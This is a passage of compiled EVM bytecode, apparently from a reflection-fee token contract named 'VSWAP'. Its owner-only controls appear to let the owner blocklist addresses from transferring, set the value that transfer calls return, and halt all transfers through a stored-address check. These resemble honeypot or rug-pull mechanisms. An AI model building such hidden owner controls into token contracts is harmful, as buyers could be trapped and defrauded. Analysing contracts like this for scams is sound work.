f1681565b60105481565b6000610d85848484612ce8565b610e4684610d91612b15565b610e41856040518060600160405280602881526020016157ae60289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610df7612b15565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130829092919063ffffffff16565b612b1d565b602660169054906101000a900460ff1690509392505050565b610e67612b15565b73ffffffffffffffffffffffffffffffffffffffff16610e856123ca565b73ffffffffffffffffffffffffffffffffffffffff1614610edb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ed290614f6f565b60405180910390fd5b80602660166101000a81548160ff02191690831515021790555050565b6000600f54821115610f3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3690614e6f565b60405180910390fd5b6000610f496130d7565b90508083610f579190615125565b915050919050565b610f67612b15565b73ffffffffffffffffffffffffffffffffffffffff16610f856123ca565b73ffffffffffffffffffffffffffffffffffffffff1614610fdb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fd290614f6f565b60405180910390fd5b60005b82829050811015611079576001600a600085858581811061100257611001615378565b5b9050602002016020810190611017919061488a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080611072906152a2565b9050610fde565b505050565b60006009905090565b61108f612b15565b73ffffffffffffffffffffffffffffffffffffffff166110ad6123ca565b73ffffffffffffffffffffffffffffffffffffffff1614611103576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110fa90614f6f565b60405180910390fd5b60005b828290508110156111a35760016006600085858581811061112a57611129615378565b5b905060200201602081019061113f919061488a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061119b906152a2565b915050611106565b505050565b6111b0612b15565b73ffffffffffffffffffffffffffffffffffffffff166111ce6123ca565b73ffffffffffffffffffffffffffffffffffffffff1614611224576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161121b90614f6f565b60405180910390fd5b600760008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166112b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a790614f0f565b60405180910390fd5b60005b600b805490508110156114da578173ffffffffffffffffffffffffffffffffffffffff16600b82815481106112eb576112ea615378565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156114c757600b6001600b8054905061134691906151b0565b8154811061135757611356615378565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600b828154811061139657611395615378565b5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600b80548061148d5761148c615349565b5b6001900381819060005260206000200160006101000a81549073ffffffffffffffffffffffffffffffffffffffff021916905590556114da565b80806114d2906152a2565b9150506112b3565b5050565b6114e6612b15565b73ffffffffffffffffffffffffffffffffffffffff166115046123ca565b73ffffffffffffffffffffffffffffffffffffffff161461155a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155190614f6f565b60405180910390fd5b600760008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661173b576001600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411156116d757611693600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ef8565b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600b819080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b6001600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506117a78160016130fb90919063ffffffff16565b5050565b600061184d6117b8612b15565b8484600560006117c6612b15565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461184891906150cf565b612b1d565b6001905092915050565b61185f612b15565b73ffffffffffffffffffffffffffffffffffffffff1661187d6123ca565b73ffffffffffffffffffffffffffffffffffffffff16146118d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118ca90614f6f565b60405180910390fd5b60004790503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561191e573d6000803e3d6000fd5b5050565b60008084141561193557600090506119d9565b6000844261194391906151b0565b90506011548114156119595760019150506119d9565b60008114156119c2578273ffffffffffffffffffffffffffffffffffffffff16601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146119c15760009150506119d9565b5b8381116119d35760019150506119d9565b60009150505b9392505050565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b611a31612b15565b73ffffffffffffffffffffffffffffffffffffffff16611a4f6123ca565b73ffffffffffffffffffffffffffffffffffffffff1614611aa5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a9c90614f6f565b60405180910390fd5b6001600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600e54831115611b47576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b3e90614f2f565b60405180910390fd5b81611b68576000611b5984600161312b565b90508060000151915050611b80565b6000611b7584600161312b565b905080602001519150505b92915050565b602660179054906101000a900460ff1681565b611ba1612b15565b73ffffffffffffffffffffffffffffffffffffffff16611bbf6123ca565b73ffffffffffffffffffffffffffffffffffffffff1614611c15576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c0c90614f6f565b60405180910390fd5b8360196000018190555082601960010181905550816019600201819055508060196003018190555050505050565b611c4b612b15565b73ffffffffffffffffffffffffffffffffffffffff16611c696123ca565b73ffffffffffffffffffffffffffffffffffffffff1614611cbf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cb690614f6f565b60405180910390fd5b600760008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611d4c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d4390614ecf565b60405180910390fd5b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115611e2057611ddc600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ef8565b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6001600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600b819080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b602660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611ff557600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050612040565b61203d600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ef8565b90505b919050565b601d8060000154908060010154908060020154908060030154905084565b61206b612b15565b73ffffffffffffffffffffffffffffffffffffffff166120896123ca565b73ffffffffffffffffffffffffffffffffffffffff16146120df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120d690614f6f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60198060000154908060010154908060020154908060030154905084565b6121c3612b15565b73ffffffffffffffffffffffffffffffffffffffff166121e16123ca565b73ffffffffffffffffffffffffffffffffffffffff1614612237576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161222e90614f6f565b60405180910390fd5b83601d6000018190555082601d6001018190555081601d6002018190555080601d6003018190555050505050565b602560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b612293612b15565b73ffffffffffffffffffffffffffffffffffffffff166122b16123ca565b73ffffffffffffffffffffffffffffffffffffffff1614612307576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122fe90614f6f565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60178060000154908060010154905082565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f5653574150000000000000000000000000000000000000000000000000000000815250905090565b60138060000154908060010154908060020154908060030154905084565b600061251161245b612b15565b8461250c856040518060600160405280602581526020016157d66025913960056000612485612b15565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130829092919063ffffffff16565b612b1d565b6001905092915050565b60086020528060005260406000206000915090505481565b6000612547612540612b15565b8484612ce8565b602660149054906101000a900460ff16905092915050565b602660149054906101000a900460ff1681565b61257a612b15565b73ffffffffffffffffffffffffffffffffffffffff166125986123ca565b73ffffffffffffffffffffffffffffffffffffffff16146125ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e590614f6f565b60405180910390fd5b80602660176101000a81548160ff0219169083151502179055507f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc159816040516126379190614dd7565b60405180910390a150565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b612670612b15565b73ffffffffffffffffffffffffffffffffffffffff1661268e6123ca565b73ffffffffffffffffffffffffffffffffffffffff16146126e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126db90614f6f565b60405180910390fd5b8060108190555050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61277d612b15565b73ffffffffffffffffffffffffffffffffffffffff1661279b6123ca565b73ffffffffffffffffffffffffffffffffffffffff16146127f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127e890614f6f565b60405180910390fd5b80602660146101000a81548160ff02191690831515021790555050565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61285f612b15565b73ffffffffffffffffffffffffffffffffffffffff1661287d6123ca565b73ffffffffffffffffffffffffffffffffffffffff16146128d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128ca90614f6f565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60096020528060005260406000206000915090505481565b61294e612b15565b73ffffffffffffffffffffffffffffffffffffffff1661296c6123ca565b73ffffffffffffffffffffffffffffffffffffffff16146129c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129b990614f6f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612a32576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a2990614e8f565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612b8d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b8490614fef565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612bfd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612bf490614eaf565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051612cdb919061500f565b60405180910390a3505050565b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612d8c5750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b612dcb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612dc290614eef565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612e3b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e3290614fcf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612eab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ea290614e2f565b60405180910390fd5b60008111612eee576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ee590614f8f565b60405180910390fd5b612ef783611f5a565b811115612f39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f3090614faf565b60405180910390fd5b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16612f7a6123ca565b73ffffffffffffffffffffffffffffffffffffffff1614612fd0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612fc790614f4f565b60405180910390fd5b61307d838383600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806130775750600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561318e565b505050565b60008383111582906130ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016130c19190614e0d565b60405180910390fd5b5082840390509392505050565b60008060006130e4613d90565b9150915080826130f49190615125565b9250505090565b6000613123836000018373ffffffffffffffffffffffffffffffffffffffff1660001b61402e565b905092915050565b61313361479b565b61313d8383614142565b905061315281848461314d6130d7565b614249565b866000018760200188604001896060018a6080018b60a00186815250868152508681525086815250868152508681525050505050505092915050565b801561357957602660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614156133a1576131f26123ca565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561326057506132306123ca565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156132995750600173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561332c576000600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054141561332b5742600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b82601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506019602160008201548160000155600182015481600101556002820154816002015560038201548160030155905050613574565b6133a96123ca565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561341757506133e76123ca565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156134505750600173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156134f457600061346c613463866119e0565b60105487611922565b9050806134ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016134a590614e4f565b60405180910390fd5b42600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505b601d60216000820154816000015560018201548160010155600282015481600201556003820154816003015590505060216002015460216002018190555083601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b6136a2565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561360d5783601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156136a15782601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b5b60006136ae838361312b565b9050600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156137535750600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156137eb5782600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546137a391906151b0565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613af4565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561388e5750600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561392a578060c00151600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138e291906150cf565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613af3565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156139cc5750600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15613af25782600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a1c91906151b0565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508060c00151600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613aae91906150cf565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b5b8060000151600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613b4391906151b0565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508060200151600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613bd591906150cf565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508115613ce457613c3081604001518260e00151614306565b613c43816060015182610100015161433a565b613c5681608001518261012001516144e5565b613c698160a00151826101400151614690565b3073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836101200151846101000151613cce91906150cf565b604051613cdb919061500f565b60405180910390a35b8373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360c00151604051613d45919061500f565b60405180910390a3613d618460016146d890919063ffffffff16565b506000613d6d86611f5a565b1415613d8957613d878560016130fb90919063ffffffff16565b505b5050505050565b6000806000600f5490506000600e54905060005b600b80549050811015613ff8578260036000600b8481548110613dca57613dc9615378565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541180613eb857508160046000600b8481548110613e5057613e4f615378565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b15613ecf57600f54600e549450945050505061402a565b60036000600b8381548110613ee757613ee6615378565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483613f5891906151b0565b925060046000600b8381548110613f7257613f71615378565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482613fe391906151b0565b91508080613ff0906152a2565b915050613da4565b50600e54600f546140099190615125565b82101561402157600f54600e5493509350505061402a565b81819350935050505b9091565b6000808360010160008481526020019081526020016000205490506000811461413657600060018261406091906151b0565b905060006001866000018054905061407891906151b0565b90508181146140e757600086600001828154811061409957614098615378565b5b90600052602060002001549050808760000184815481106140bd576140bc615378565b5b90600052602060002001819055508387600101600083815260200190815260200160002081905550505b856000018054806140fb576140fa615349565b5b60019003818190600052602060002001600090559055856001016000868152602001908152602001600020600090556001935050505061413c565b60009150505b92915050565b61414a61479b565b8161415e57828160c0018181525050614243565b6064602160000154846141719190615156565b61417b9190615125565b8160e00181815250506064602160010154846141979190615156565b6141a19190615125565b816101000181815250506064602160020154846141be9190615156565b6141c89190615125565b816101200181815250506064602160030154846141e59190615156565b6141ef9190615125565b816101400181815250508061014001518161012001518261010001518360e001518661421b91906151b0565b61422591906151b0565b61422f91906151b0565b61423991906151b0565b8160c00181815250505b92915050565b600080600080600080868961425e9190615156565b95508761427e5785866000806000809550955095509550955095506142f9565b868a60e0015161428e9190615156565b9350868a61010001516142a19190615156565b9250868a61012001516142b49190615156565b9150868a61014001516142c79190615156565b905080828486896142d891906151b0565b6142e291906151b0565b6142ec91906151b0565b6142f691906151b0565b94505b9499939850945094509450565b81600f5461431491906151b0565b600f81905550806013600001600082825461432f91906150cf565b925050819055505050565b806017600001600082825461434f91906150cf565b92505081905550806013600101600082825461436b91906150cf565b9250508190555081600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546143bd91906150cf565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156144e15780600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461449d91906150cf565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5050565b80601760010160008282546144fa91906150cf565b92505081905550806013600201600082825461451691906150cf565b9250508190555081600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461456891906150cf565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561468c5780600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461464891906150cf565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5050565b80601360030160008282546146a591906150cf565b9250508190555080600e546146ba91906151b0565b600e8190555081600f546146ce91906151b0565b600f819055505050565b6000614700836000018373ffffffffffffffffffffffffffffffffffffffff1660001b614708565b905092915050565b60006147148383614778565b61476d578260000182908060018154018082558091505060019003906000526020600020016000909190919091505582600001805490508360010160008481526020019081526020016000208190555060019050614772565b600090505b92915050565b600080836001016000848152602001908152602001600020541415905092915050565b60405180610160016040528060008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081525090565b60008135905061480481615768565b92915050565b60008083601f8401126148205761481f6153ac565b5b8235905067ffffffffffffffff81111561483d5761483c6153a7565b5b602083019150836020820283011115614859576148586153b1565b5b9250929050565b60008135905061486f8161577f565b92915050565b60008135905061488481615796565b92915050565b6000602082840312156148a05761489f6153bb565b5b60006148ae848285016147f5565b91505092915050565b600080604083850312156148ce576148cd6153bb565b5b60006148dc858286016147f5565b92505060206148ed858286016147f5565b9150509250929050565b6000806000606084860312156149105761490f6153bb565b5b600061491e868287016147f5565b935050602061492f868287016147f5565b925050604061494086828701614875565b9150509250925092565b60008060408385031215614961576149606153bb565b5b600061496f858286016147f5565b925050602061498085828601614875565b9150509250929050565b600080602083850312156149a1576149a06153bb565b5b600083013567ffffffffffffffff8111156149bf576149be6153b6565b5b6149cb8582860161480a565b92509250509250929050565b6000602082840312156149ed576149ec6153bb565b5b60006149fb84828501614860565b91505092915050565b600060208284031215614a1a57614a196153bb565b5b6000614a2884828501614875565b91505092915050565b60008060408385031215614a4857614a476153bb565b5b6000614a5685828601614875565b9250506020614a6785828601614860565b9150509250929050565b600080600060608486031215614a8a57614a896153bb565b5b6000614a9886828701614875565b9350506020614aa986828701614875565b9250506040614aba868287016147f5565b9150509250925092565b60008060008060808587031215614ade57614add6153bb565b5b6000614aec87828801614875565b9450506020614afd87828801614875565b9350506040614b0e87828801614875565b9250506060614b1f87828801614875565b91505092959194509250565b614b34816151e4565b82525050565b614b43816151f6565b82525050565b614b5281615239565b82525050565b6000614b63826150b3565b614b6d81856150be565b9350614b7d81856020860161526f565b614b86816153c0565b840191505092915050565b6000614b9e6023836150be565b9150614ba9826153d1565b604082019050919050565b6000614bc16005836150be565b9150614bcc82615420565b602082019050919050565b6000614be4602a836150be565b9150614bef82615449565b604082019050919050565b6000614c076026836150be565b9150614c1282615498565b604082019050919050565b6000614c2a6022836150be565b9150614c35826154e7565b604082019050919050565b6000614c4d601b836150be565b9150614c5882615536565b602082019050919050565b6000614c70601b836150be565b9150614c7b8261555f565b602082019050919050565b6000614c936017836150be565b9150614c9e82615588565b602082019050919050565b6000614cb6601f836150be565b9150614cc1826155b1565b602082019050919050565b6000614cd9601d836150be565b9150614ce4826155da565b602082019050919050565b6000614cfc6020836150be565b9150614d0782615603565b602082019050919050565b6000614d1f6029836150be565b9150614d2a8261562c565b604082019050919050565b6000614d426030836150be565b9150614d4d8261567b565b604082019050919050565b6000614d656025836150be565b9150614d70826156ca565b604082019050919050565b6000614d886024836150be565b9150614d9382615719565b604082019050919050565b614da781615222565b82525050565b614db68161522c565b82525050565b6000602082019050614dd16000830184614b2b565b92915050565b6000602082019050614dec6000830184614b3a565b92915050565b6000602082019050614e076000830184614b49565b92915050565b60006020820190508181036000830152614e278184614b58565b905092915050565b60006020820190508181036000830152614e4881614b91565b9050919050565b60006020820190508181036000830152614e6881614bb4565b9050919050565b60006020820190508181036000830152614e8881614bd7565b9050919050565b60006020820190508181036000830152614ea881614bfa565b9050919050565b60006020820190